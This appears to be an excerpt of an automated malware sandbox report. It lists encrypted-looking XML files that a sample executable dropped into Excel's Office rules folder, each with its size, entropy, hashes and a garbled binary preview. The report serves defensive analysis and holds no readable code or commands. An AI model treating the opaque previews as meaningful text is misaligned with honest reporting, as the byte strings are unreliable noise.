......E.=.....WpS6@.....-.....,q..U..g.Z..9NL.{;PI..Lq]y..9.}>M.a.@u....Jj.:.PG.)H.Hl

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63051v5.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1939
Entropy (8bit):	7.908668380427271
Encrypted:	false
SSDEEP:	24:nLKC7QZcxuXo42pfshl5LJgiHHcfj3grfryjVyqug+g+pwNwHGSug+SlZSMrNTsV:nr7tIg6HcfsPNquxpvHGC+chsX3ngCD
MD5:	2E90CBACAC5FF3F385A34C73AF4BAEEE
SHA1:	E31D5A86558C7914202B208418FA526B4963CB83
SHA-256:	B243BA217329C0D38465A5D9BABAA60C3E9C490A51C385F7326E90FCD4E59933
SHA-512:	0F0CE746C299EC25DA83F2D3548F9FBE9DB80A90429ECF771823D537F02C0B7681AD4D361D14EB8DA39F66E31051D62641353DDA2430522BAD3E294174F90011
Malicious:	false
Preview:	<?xml.-. .2.....rT-...-...CZ].....P....u..>^..Q?i.V..c.....Kj$...<T........y.....C..k......Ug.....c..!...s.d..m..p.,=....qZC..G.OaO.h....y.\..w.HW....B..l5...yn(o.y....;#...A.. .).8}C_...M...Y..p..v.[.U~.[.kPi.....9..1..t........S..L=6u.......r..b#..X7h.....H.7W..@N.N.8...M..02...3....^..o..=...Q)..+-Q....8.IzvN.%......_G...}..b.F. ..y0t..'#.....'(.~..d..A&oRf..Le..4.H......... ..9./ .&..s..._7\..q.)}...5.J....".p?.c,q....Ua..n.YwYG..;...\|..{DJ...B..+q.. ...f.P..hq......AN.7UP....=....-...>.iy.`.&.......v$.i.....HH...Z..3.M.1..+.)\........w}.9C..0....u....l..M..o?&W'.b.y._.E.;?q^..s...m...V........<....r.5.A...Q........dh...#2.W.2.+..................ky./%.....^a..b#...0R...+. sE`....0..!..+.V....].c1.[P..4..RP0..]...G....3...I.).n.T.w..... A@,.).g.@...X../.;._._i.cY.....e.c.sw.. .m.....$.h4. U.EJ.....k...-NL.e^....V.........t..[ZNf!).\|8..w"..f...*.kp.u.$\|...W.Q~.RG..s)...n}I..3.f.z.q.2.T......,.b.........r:3.O%#5.>..ta.sB. .....k.E.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63052v3.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	3091
Entropy (8bit):	7.936268543236511
Encrypted:	false
SSDEEP:	48:UC/eJCKUc6kISzKq0plWRTmkqV/t4hLJyUqmVEPdjIuAkbDtTLC8dyfuD:UCzKU19qIlWRaDX4hJ+PdjITk9TO8Au
MD5:	576F4A5E0C0911E6984960F224C5FCEF
SHA1:	A5F04FF66C2EB9B1EA165EAB669003602A7A5D32
SHA-256:	740437659046BEC2B2AAB25EC1F1F08F6FB2C562B972A5D71A3EC4BDAEF90CD8
SHA-512:	13DCC83B64B837F453E479321EF3D674E7577DC8C0F026F04DD632C2E6CA3BBC17698EF303DC12638FEA8AB43B73DB280BFB285DF96BF4E98481C832D8487A8F
Malicious:	false
Preview:	<?xml.%...>3Y..8l..}..n.J6....X.;.}.s...P.-.Z.]........&.Tw....2...,!.4U..v8.SwM+].#.o/...C.@.#.L.Yq...ou....wyg...W..7..N.,.'..{..=........F.+....~.....W.]lxS.....LO.5..N.d..(.....o.~...e.0.._.6H(_,..4.....?k...,.\....n.fQ..n......+m... .....n.i...fo....v...E L..z..?...Hs.G..S..q..$J\|.l..a......K....wA\Nhe.ZH..z....B....,.uR.}....P......p[.4..A.%........0......o{t^tQY:..`G........s .....:b..]r.'.&..T..m....zp....,..> ...../(G!wD..L.wZ...51o......3.m....HmQ:t.!:ZE.a.....j..5.v....-i...J..R....1......J..o...d..}F}B......e.C. ,......O..}e?.hH.~..x.N....hQ..<.yB....U....\|......d......^.gB\|...G............r.^w-3.....0.2.j..<.4".9+.-..5la...)...7.y......\..U.N.\|.7.i..\..U,.e......-...qB.X.....$.@.&.K..e.Kr.G...bw..`.=..P-...,.P. .~..(Y<.!t.S.0......8..}T..i......^.%z.Y.U....%z.X...........!H..Y.p..iA...(..P...P.G..J.><..g.eJ.h...n.T...pn.H..L9Jk},I.m....l...=..<..x..%.....V..H.6.`^j...O....r....Pk...H.h.Zi...iB.V4....L......l>.._iEW`yA..Ah...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63053v1.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	980
Entropy (8bit):	7.783762000253297
Encrypted:	false
SSDEEP:	24:iY9RBCSp+ddmcNdl8sFbhZijK8nO7tmpbD:iY9R4SpekcN0sFqjtO7sJD
MD5:	1EB2BF9FFA6F1950872FBE74BEA6DFDA
SHA1:	B94D016DBA535DBD2ECB77E3205768855E9A0D28
SHA-256:	A836E28FD02CE96CEE4679DB08B502CEEEBDB9DB92744DEDCB6ADEA94BFA557C
SHA-512:	4965A6C3E438E799DB9425218C64D6AED10BA3080F0026D4AEC957BCF0AB2D40A3416C1C6DC656F0308440A45E13FDC815B026CE575D80458B884FF63B99C7C3
Malicious:	false
Preview:	<?xml~..d....1x../Z...........7..u......3..V\..(..V..;.5...u"...v.,..... .$...e.....(D....i7...<.4~y8M.B..:...:....]...GY......W>.<o..7....>..S..dD.....8.~.c............(........ywW.).....5.J8.hFD..h....Y...X.T...>....y.Z0..}hb..t./cL.{/#..:..i`G..`.J.}...v...Y...X5hE./x=...@"....y.3T0Sqz<..+..J....()-.....)%..v..p:/P.Ek.-....T"..bL..Wfo.......\|.d...........H.l.....T.^"....S.3o.q..D.....^}.{./C+.C#...E]gI.F..S..Bf`....SQ.GM..u.1..Y...H9U..5I..<F....[....u.g.........k.D k..3.-..e.x.K$...N~.y.Np.....~!x....>P.:9Ie...P.'.h..@I..)6..o.Q<...AP.,.D,.3...C./...h...S.MS...[K.]....;U!.!e...h...(.."....U93<....6&.......>ME.v.^5:..G.S...5.".Y.7...?..."...`...T.:...R2...=_5.d"7r..a...P.z...i:Va..}.._..(...ky@...t(..t.....L.0.J,...a5....<Ay...9W......E..=...J..r.Z@......(.9.D..v...7.4)u..R..B.@.^.....1.........&.s......9A....?.Z....9.....7.ZZUF~G..SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63054v5.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	2404
Entropy (8bit):	7.927033670106413
Encrypted:	false
SSDEEP:	48:WQLB0zk7ghW8BEgILAE1qJiizsLpRdur07UwacGe3uuFoQD:ihPElLAE1qJaur3waepFoM
MD5:	2FB31399794953F5448364637F77651B
SHA1:	8C2E92332A27B11E1EAF2960C71B03AEB54828E8
SHA-256:	E15335F590720575FE5AA62965ABDA821F2FF300DEAA2507872C06D3758AF362
SHA-512:	9D3CD143B0B79F6FF4FBE05C79E1154B58DDA1FF75BED54B868A8FD26545A37E242EB43CDBFC81AFB7F55718E4524FCD5BC745533BE8830E9FBAD0F1AE497695
Malicious:	false
Preview:	<?xml5L.....<....(H..&4..".....7Uu.U.;^...s..w.#.m..x.S.0L.3..B.z..&.2.U..L....X..6..G.j..[.6..1.]L........`.. .oqs..#G\..i.^...z.Rp....m}u.=.~...xr.Tr?..GH...V.......t........M.......\|...:!...5.Mcc}]]XJu.\F....lv.{&...a~<....K).<>....r.`!....J%...DC.N.L.5..c.#rv.~..;..t.{1.(rT:.ey.......$....$.O&..j[.9.....w.J..........h.zi..iv...K(1ZF.D29.....'......T.....z...N'-.....e...Y..:...^....A.f?F.o^{)...~3...@N....K..........M...m7@.k.R..r..B..:IU.fI..f.......p...!...C..svZ..\|.!..E.K...btn.ruL...O6.{z..ag(.........J...E.."9...gO..&_...7c.#yU.,...i(P..%a.O..Y.....#S.m?..X.....Q......]=#Fi.2....].O...2%u..>..4..{....4..Wu.h........u..=....A.^&V.q.?$.H..c...h....;...K?.....[.u..6q..2.....H1d...&.\.k..GE.?...h...y.U...PHn.#..uc~.#5....`....L.0 i......=r..V....( .a.O.F:.-=.=b..c.."l'..AJ....3...5..Zit....{b.)......[..t:SK.l<+"..p..i.Ou ^.@FR#:w.]5...........@.@ }..@r.]a..G&.....9P7...8:..1.f~..W.n...+.9B,+.h..C.O..`.u..8q...G({...l.d..t.r..Yh$..]S(=&.".

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63056v9.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	3203
Entropy (8bit):	7.945286510701088
Encrypted:	false
SSDEEP:	96:BKjz4j88kNNHBe+oLPcgZlFh4ooFx0Yv+us:WNNhe+opb4ooFx0Yv+us
MD5:	27B7B874431D4278866AAB3AEFCBAFC9
SHA1:	213750F063F949ACA0DF7994FB60DD9D6510D201
SHA-256:	C6E5324A7642FD67E515C3E6AF66B4E43553469F7150C31A29FF704C84847F4E
SHA-512:	3F587F705204DBF80039B5AAB6318AC4FA659457308948C56CC0EE59AAEE8F218CEB15DC914D55CFE4082A2FD7665B441E596FD3499A8122BC32B7E9ABC21F42
Malicious:	false
Preview:	<?xml.T.<...V.@)dp...X...4...V...n{..f...=#1..Uu{.n...&.....Z...\|..}-....z.......S.3...A....yk.i.B.!.Q_....=w.....}P.)......V.12.Ewt.\|!.K.......O.IG..k.k.......q8.........w^l...h..D.w.qY.M.M.<.M..>Y:...W.......%+...).@..nL.s...!...m...j.ot...N.bH.....Gec.e..3v....}.m.H.....O2q..f.7/.U.X..;....6.{.:.g...........o...B..[_..r(...L...n!W.!.....Z..nn.F"D...9....(....Du.y}.u)2<9......3...(.3I=...Sh[4r._.u.:..MQPNl% .w./._>...8-..\.\m...vY)..}.&..:e..K8>w.F......{...].r.X.&...g(..K.%...H...PS;.&W...t...f.../....(9..6\|Ed)}qT.[S.\|..pW..yPl.....W....;..[.x.........7..c.... .z..$../.......L8...K..@J............&..L...Z...u..,..6\..>..M...).^.0U....,......q.;.%..}2...e..Dx58.s...b.:...\|<..^#...%.Eg.4...!.Z^....O...Zx>.Z.s.....7=.!6..E.]H\|!....k..........O....~....0..g;Nd....tu..c.%.g..P.*Q\[.s.GX8 .7.5...k.G...r).V.....#.%.."..h/..O.ky....A..,<x...n...S."M...K.f1..GK.W9...7..N.....w.\|..Y.C....XV........fZ..q...P.....R.....4...._;$g~...oJ......'.sf..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63057v3.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	2512
Entropy (8bit):	7.931926998970716
Encrypted:	false
SSDEEP:	48:qjwN8NF9pJiitwVbLfuBHrbDt9XqfaKf8yWWYW3tM3EJD:qBSMebLfuBnDPXKf8N3Eh
MD5:	C06925D4BE0FFF68863217AEB300B662
SHA1:	8391DF566E201BC6EAF0A62B60405B8BE33A7D46
SHA-256:	0A57C39364358647ADF69C4ACF0B658B58D8DDF7EF7FC6BAF2183F4276D641B7
SHA-512:	A608E114D20F734A659700729E3A7242F520E3AA520F6C130F3C7A8BF33F4FC26F3D0AE9DF756C59E930EFA36C7741C329D6BD82FDF6D88C7BC294C928E013EA
Malicious:	false
Preview:	<?xml.[..;...bx..."f..D.+.)b....\..1/...H...S.......wfU.j..~._...b....12.hz....r0I.....I.q.}....C.........[.z...[v.C.-.>.h5.PRK8...:.U..o..l.i. .b.C...........4....%..&i%F..4c.wX...VTZo...c....oB.e....8g5.....l...x......j.c\|=......h..K..P].........Po.V..>...........f.\|..@.X..-...t..,..o..S._.....0d..D\|(......O:.L..Ety;u.&....Z..L...yZ..O...4.4:....]..!D\.q.$.'.y.)p.q.f.!;`..B..G. .H..i\..8D.W;..[......k.c1.CtP"...Ub.2..Q.....T....n...jwA......<..`G........X...c..hH..`..ZhU....F..}..5[.m...x.-W...AMAc..b..X.....rR.......4.8...^...d...S.a..Uc.-.W.qa.......9{H.3..I..:...:..r..skW6...:.u.]..Si.V.A...n..O.8U.6..^.........c.......Vj..p7s......;....Y?.C..+..T...ye.w^T.Y..d.Ex....N.l.BmE.Y^...k..C..N....<.J.......\|f.m..'dm..!4.J$f...OA.<1.....e..0.lz...I. .7.&7D..j...}...8m.?..\..i.......\|_!......0A]v..,~..a.7..Y8HV.y...[.X$ht-..?%G..'......EB..PH9...Y.V..&..r~r...]:.....bf...b8....:];j..Rc..z..WM.tr...#C.Y......Q{..&..hb.9..i,

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63058v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1247
Entropy (8bit):	7.845009639742074
Encrypted:	false
SSDEEP:	24:bHyXs01ndzJ5EfUExlgTjmNkEtg2iAJEv/ZXkWKetWfujbD:bH6d7E1gPmazj/p89u3D
MD5:	6DF4D80350E1A678F94C077A92C5AE52
SHA1:	6A12EF46CA605393C0E366A9134CA024A005160F
SHA-256:	C5927776E9362DE8DACD2953A1B189BED24E78740F82FAC11F62A694B928E6BF
SHA-512:	188344F5A70535E10E7FFD2475E06EC14741048A03B5A3174198CCB2132D53B97C596F9EE594D9A00398C930F089D21CCF13574CD980E63410F28789E4FD3BA9
Malicious:	false
Preview:	<?xmlY.4PS..e..w..D.i...\.,....q../.dn.E..>..Z..;.y.\|..f..s:.....d d..aS...%..5\|....b.k.b.K..Z.;.....q...G....@.(...EW#e.Z...3'......l."..9(..V..[...f4a.QKM...}...OS).....C.+^......Q..f.=p3:.O..P..p"F".A........W.l...q.S...s.!.d:..G..E.$../.\~..-Ql..M.m.v...;F...I..^.3!..D.8b{.....D'7....<..8w..9.c5.....;wz.....W'7G......b..v.#......p..!].6f^.e#o^p../].....!b..=.......-..8]Q~..~A...{....e.!..p..e..Y.o...].b_;v...._...5.^........4B..f=70u..FO.s..E..2/...^.C.E.....D...o1N.}nvX..........$.A.Qc.Wu.q!..sR.'.q.#..)......&.0....J....)He.l. .ZE.^..)D.(R.....F-M.}.w..wZ(65.. )k+....~...j...wG.p.(.F?yW.q3U..5=."..v....5..)R.B.k..........B.nv.T..#N..:../..3S.qP7Q2.<.>D.............I...a..(...$.d.......y..e...).^......H8r..kF..\.'v..-..PP^;.).l.N...."O..6${...a!%K...X.c..:{YzU.\.u.B.#..N.i........K..b..I_J\......).C.......z&:...}...#+..l..'S0A..\|..I.Z....t..(....1.........].G>:......2.....ri....Q.i...I....9...gR..<. ....=..[.....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63059v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	950
Entropy (8bit):	7.757104014562139
Encrypted:	false
SSDEEP:	24:16Zs5W6KnqVGL7jEsjvrMrmKRRZN+F7wMTAlc/IJmbObD:167NqSpj4nX93c/CmgD
MD5:	EADF30A0C6B461E5A9DB70783B1D487A
SHA1:	7878C873CAF887A9EFE362076C2909F463DF5D6E
SHA-256:	84A9B04D460EB79A492D8B78B726B3D508A9412655CAE411E4D4E2F95DDD5341
SHA-512:	273E517DB50C0E87DC413AD39E0E9866E468C5E31D8C7F6032E2AAB9725ADD49A93A0C3A8BC03C6F2D5BE2E5788A58E404FDE68D42F86EACED3491A50E37095C
Malicious:	false
Preview:	<?xmlo.#3._eGq.r.i..I]..%.f..$..g.....qJl.j.2.gS.]"./5.~..w.\|,C....J7a..n.X!..:@.(N.U.M....V...z.....$.=`..x......1..{...S.I.Fs;....i..5..#...Q.m..!Q..z..T...D?....I..K`.8.......:xE....^$..j.31.}...5.#)....FF.>.M...K.J.....x/.9i.!M..yc$......>..p..Q...c...o.....V(r.nv.....jV.....}b......)e.o...j..W.V._.v.......v.......Tg..........X4hH...qo......3..3...<.-.(....VY-....z.a.yd..0i..5J.U.C0...-^....\|Bb..6.C.}.b#f....p.Z..h....{.. ...sOa.rr`.(....qd..6dYP..()..0...B.....bJ...2.yo/f....^.5.2j7,4G9..I....\2 ..t..e..P..<t&....G.G.>/..c%.%p<.1N..c._"T~.TU.$W..5%K.D.JRL.LcY.....O~..\|....d....{.....=a...h......z......*.......b.v.y.W...;.\|.._...s.xQ...w.kp..q_.."......%...^<b8j..VaC.mY..A.~7..r!.~...O.. w..G. O..4....<.g#.......D....../wWY...`....$.l..[\|.......7..p. .=n.....@.o.$Yu..:."ro90..o..N(.......w..D.......t.!.1!>...SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63063v1.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1125
Entropy (8bit):	7.830848225186181
Encrypted:	false
SSDEEP:	24:tzdU3D6djoteBuEqNRGKFplSCKICEqOchfUU6KaYHsjssfG9nqIrSYp+GsK/rDST:1tUI8RGwJjX8iKFMjJuxqIrSE+GsK+TD
MD5:	541AFB53415024D6E49BC8178432DE97
SHA1:	0263F56195168B58F8B018D815D030FC5D40264C
SHA-256:	3BE104669ADC1F6D129D2123C8A2DDC2EBEDBD50FE5955B83A13F077422D9FE6
SHA-512:	80E37CE3D76F867942695C9DAD7EF92F7CBB944C8C953736446C152FBAC237C4A2D197BE03119FFA27C31816359E7DA1836275160DF797DDBD045373446E5E72
Malicious:	false
Preview:	<?xmlal.Y.ie...._`..Y._...tETy......u.V.j.X.i..t:.....].](.. .B..\X..hB...d.K .\|H.....!.&W..\|1.!......wp.:h.....YX...5.'...c.Q.B.Q..#.N..k.t.....(t}@....j.O...4%...lY3.....%u.......0.....#T...?..\..ZN...P3....W+u..M...!..o.Z...vw..H..LV(...../.vc7i.r..-..O.e.`..#.....;.'...........i.Z...R..N[+..y.c&ob..h.2pL(t..'.\|.....Z....A...XSkgo.zX.R.fb...vm......-.....h...3.......Z..id{.......8...vU[...cmw.......I}.....d].9.Xc..rM..kN.pB.....4:.[)..i?.q.f.\.`...w\.@".B...T......=yw7Q......CcG.y..KW..)......M....P..yE.g..^NXW.xt.^..\...&M<.Xr\o..Afy..4..4.%...~8dU.Y<u....k...]..k.7.\9..f29....4N.........//.6G...DI...31....Y..?..$5....4.....g.gX..Kp._ze..)R.4.A(..z\|?...../..T..3.L...W.L.?>..~.`=..UI* ..D. .Vt....+3l..k7\|..)..L.(........=.<..L.5ag!.......4.;g.`...c_}...{MmG......1.'..z...\..8...?T..N.)..M..YE.......S.f.<(....(..5..vl.:.msQW..%k..q........u..6o...ix....(..\....m......e.v....z#.".._.]...N.~rL{..-.[.'..z........LoP....n.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63066v1.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1121
Entropy (8bit):	7.795632130772771
Encrypted:	false
SSDEEP:	24:T+bflSaB/jZXd7nLccRf1ZRXR0cDfP2qpJIrM22CbD:K/1LccRNbh00P2qpGyQD
MD5:	BEE4F13EA7C88A2AB1AA3ADFCA7C9906
SHA1:	B4C55CA4DCAFCB407EB5FCB4EA144D004AA79BC8
SHA-256:	FCE2CE27C37C13F569F15EF051C70B2C6D070D9EC9A50906A43A884701AD136C
SHA-512:	4BFA6DF01380E5111AAA877DCD55467DF1B961D7BA78B89E81C3281CDCAD9173373A96D34D951381393941D81BE58E569F04575182F911ADA45A594A96C66D40
Malicious:	false
Preview:	<?xml<.....P.N...K..O..A...S....SYz..]..%V..u..1..D_..F..2...FBX5,..2........<H.EDG...90<..7.A......Q.l{.......b..z..bv.....aY..i6p....>..(yyT....I.0......5.}XN.{Y..6X...:f.$XksL.........{P..S'.Vr.=.n....6."....u..$.....-.3.........g....}'.]..2y.P.....]M....l..jf.Y..2Wf...^JBoU.;.....c^Q?....Te]..6..3..:3....M.....eL!...n.uQ....@...+.J.k......m....gR~..K0.^...@D.0.!qn..&...g.y.ip."...p...C..h..Z.>.NV.w.e....L.H.....x.d.a[0.O..7......=.q{..P..!.5.....r.$S...{Xi.2...........w.,..N..uV....m.:po......'.9..R..Y..A.:.\|@....]......B;...e..UJC.hFCf......b.\|k.=F.......v.t.m.su....[...0.......Q.b...k...4./.....6..;..9-...?\.T9.5..%i.5.q..~.=rR++..A.\.2UGS..1....B..U..J....V.>O..s}Pm6.I...F.....TI........bb..38.......}........o.B.0\....i.2..MR..G..M.cJ0.5&0..l....+k.z....2..........H.q..Ghh}.....D.Qr.R.N.......`....g..S..Q...8.:,....l.^....,..........m...%".i.....kz...[]..D0l..(.fRX...Y.;..1ko...r......O..b.....T5P....?.P.0..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63067v3.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	3109
Entropy (8bit):	7.945356231737174
Encrypted:	false
SSDEEP:	96:sQREB85QFpdJVSKTyGs/hLrWv5PKRlTH9R8g:sQU33JJTyGs/prWv5PKnZRT
MD5:	A543895C4D3149159980590F13B27670
SHA1:	1FD75721CA34C92E5C84ADA39281DF3EB47FAAE9
SHA-256:	8D4BF3E70DA298DE8AA82E9F214325743799C8C2E97463B55E6476E60C8CEE7E
SHA-512:	9B0605D75A3DA2CB331538C3B26996068AD3B5102CC497C97D4691E28D5CD4EB28BACD2943C1088ACF37B4C3C339637F79ED4292F2FE30FAA718F0C5060AA24E
Malicious:	false
Preview:	<?xmlim....0.[.}hn.kI.!e..K"........`;..S-;$z......J..\|.6..\.}o.C....[.....`.0.Bm..6..NV...(.......}."....%.X. .>..L.h.....o...L...X.E.:Zg#...f.[....)...$..]$.W..0...XS+^ ..-...u.3.=Ah13..=.....}..<.e.B....n.~....m.?...]..m...d.......`R........."...lG].-..U.....y....S..k..._I.q...D....3.=...T.....;...s#+DS...Y...Uy.5c.^.1.G.....q}L..F..L..>..$.N.'Z9.y......c,.....^.#?.Q..lQ.c.bq.g~.T=..m.!.k.`?N...!.FK._WT..o.t.I.6..R57.W.............Y...T.b...G.0.%.+U-.s..5..hxv..!.......h...w.K;....8.q.0.....uE..lX.4.I).:...N...o.,...MZ1_.&.`.^...&/...#aA.8.10...!.{...)P...L...A-@`.q.$.G..$&.oh.........6Q..@..}..........X.A'G..ok.b..c.&.....@=......<...T.t..j;._.zNfq.nHg...O<.R8.d./tmd....R.w.R..6:...X.]..9:a8..AF..b..}.0..k.....^.\|......R..e.i#...3.<.g..'.{r...K....o.7..3........3..J8.,..Q.c.p...w4z3.Q...!.e.I.O.."..E......L.@...[.Q...*&.Y.7N.......0(.J.7..U...X.6^..O..D$m..#...S.A)Y.....fd2p._...IW.....t......N...1...r.g..7....>.f.M2...$67{~?.+.2..?..5....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63069v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	2126
Entropy (8bit):	7.903713670469878
Encrypted:	false
SSDEEP:	48:xnwo/cYNVpXdgSHU6a1n9I6e2mYFx89vipUbsX2D:VwoVNV0SHUA12mUyTr
MD5:	5A501F0032106D37CFB4C578DE8015B1
SHA1:	30AB36182C5749CA040A598D9DCE0928BE6FE310
SHA-256:	196C91316FF3390D9E4B978932BB706F5757070C4FE1F6DD9FCE2C1B3D0ED51C
SHA-512:	9E23C45DC3DC311D27C5168EBE377915B580F500233B6679015C9DA759593FC66238F35C091F2C8A0DAFC0D3712E6B041A81C296114DE723BCB0841000CC7B62
Malicious:	false
Preview:	<?xml$\.TQ...j...k.S!?V...%?<..1s..\|..f.{......{.Z..h.9.F.$.\|T.P7...\|..\...V.%H..K..4..E]..x.+.=.... o..M....)..M..F..k.7.......D..]...f...(..&+F..%N.o..C.oO...?..NA..x...g.....[">.8D..J...L..:#`.T......#.l..?.%B\_.}XVv..p....G........s.:....>N...f..g`w> ...;..<..8..;...<..v.so...8k..$.....4. .v..p..3.w.F>...?.......vKs.Q...7.=.X.M_..r...ej._.........!?H ..{,..&..........{(y.W....#......).o...o....[..6C@Y..p%fd.....H..g!..1ZV.p..]..P.X.:.....o..:m.CK..9...kb:M....r...V...j.E.l....1....O..T.."...!....Y.~...8}>d......vW....Y....6.j...c...b=DNu./..g&...}.....>......w.....s......UY6.....gs..K>....J,../....16...tP?.._.F..I.6....X......]..!..U.F.HK/.?.......9..n@.gS.$V.L.{.`.#R......A.<...&...K..!U.L.Af....Z..9R..Zk}........O..k...K..M............."....x..[.g.6......'U.,obD....6..6...g.(,.a' ..f....x......P..^..Z....7..{..X.,2,+..b&.,e.I]F..._.#0.......xC.p...F.m.\...)V.#)..~!..r.....wqhJ...7....b..1.4...%^9.F..~...^..(].g..v...j...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63070v5.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1387
Entropy (8bit):	7.855083655366815
Encrypted:	false
SSDEEP:	24:Zgh9CqrnJMiC67S58vZpH5Ut/Qowg4VQSd8lEOh7weyf8wKNEGbD:ZOJX7S5ETH5UtIg4VP6lEzeyUnNEUD
MD5:	B7D4504233E46BFE134FD6D5160F653A
SHA1:	6A1BD5F9E436214535478DD8CF0BEA7A0CF1CFAF
SHA-256:	337470A9FCE05D93384E90D4B5BA5DCCFE35F09A6EBB24443B3F40A28E6B6591
SHA-512:	1B4E7681C95E1BBFC156786C9194940DBE325D421623533904EB15B52D405EE49909B71AA2EB74EBF59EB4C08F2552981B42C5A3B4ED17B5A42BFB1BE2F7C099
Malicious:	false
Preview:	<?xmlxv.j....(../\|nm.8.....:p.a.0..H.j.}..b#9._.~I.....2.Y.D2{.y.....v..J.......E...H..X..~S..`6......\.u...bc.........y....8o.=K4x......1.s.+.,.E,-..Lb+r.#4.>..[.-.i...<Qw..2.g.2_tt..2.MA...+o ]bP..}\|S....<.....+$?"..+.....#..i..@..I..Gu-N..9..n../P."....J...tqD.8}b......_(\|. ..1.J.)./V.#D...:.Bc-.T....Y..x..'...$.m.i}...y...M...E.fz.....E...P.....n......CB...L..L ...9..a.0.."...jb#...{..`....T...J.....w&.-...9.h....G.p..4.\.. ....R..N.<...g....s...............w..XD})....EE..b..D.y..St.......8&es.~..S7M.?........H.^G'..1.....s...u.\_6.,!.6.k &;T#...07..D.qJ..C.......j..=U..!.1.F...zE....B.#i.......N.bY....~ U.e.+$...$..93........... >.?.4BW."...$...*..U...w..+.L...7.~;z.<...+V...9V............y].....6k......5...E....cf....oW.....@....@1.U...........-=.A...........L..e<@^.d.`g.".qsX...".,..sBg.'..EQ...2.y..N......]....B.#....^!.$........._.c.....E?..%J...b=n.{..t#(..uguH......'pXi....&w..\|..u....1+5..6;.....(....}....7y^^

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63071v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	754
Entropy (8bit):	7.727862149248886
Encrypted:	false
SSDEEP:	12:mvc9Nh12ZvAVtsyzdwKNVcTy+YLVKMdkDH1cvgF3S2d2V1+cii9a:AcPD223BuLFodMH1c4FC2d2ObD
MD5:	72AB162E1C9CE3EBDD2DEE9A1D978EE8
SHA1:	BD2BE576491C13BD84E3027100F8FEC1EDE64A9A
SHA-256:	B6CD73B6B4AB151E9FA2EC3345B9E1F53BDFB081E1E0FE2F51D9F08A46AF35CD
SHA-512:	FF05A08438E7A3DEE659FED12B4362A4FFD4288FD3F13EA8EE3591B65103D27D151FFFF52755FAD2A106B78C1A2F707D21CEF76BBD2250BF394BF519343BCD80
Malicious:	false
Preview:	<?xml.UI.@t.f. ...S...J..-'K..._>Y...q.......BZ.......Z..'......~.X.b%..b{..mn4.i..jw..-...x.P..S...!;...^'.W.....Y..N.v.0.?...k;...LZ...M..s..\E.P>.Eo...M...........?=....Q.D.4%....Bk.P..}Ya-r.\|.J...\....O..1......U.9`huaH6k....c<...Rm.....H.5.....3..B.~...E..=..W.~..K.w5..bF..Sy...x).w.G.......$..=.T......p.Xh.F.-..5.}.R.5.......VU.........XL...nV.i..........S.#I.1....L..6.9I...M2.....?...Q..8.qe......A]g.R...>&6.!..d0Hu.,.8p..2....C.k.V..h-5..B......b"..JV[b..V.....P..,.xR.Z.0g.[..e.kkSb..@.=..tE.3...O!k.$G.nmR...h......,n...c".;.`..]..=../.Y.z...K.=.!.......-;w.u.2..H^..{.r.D.xQ...\.:t.U....*..Kf..C_.o..J\0.n.7'..T.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63077v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1399
Entropy (8bit):	7.8720511497242125
Encrypted:	false
SSDEEP:	24:nxGY59yFvwZuHDNVwGwkprUKN8FvIz4wN1pONxcrUBkU28meheD6JYEa6C/YUbD:0Y590vwQHpVwRkprUdFvs4w7YKZUHeWa
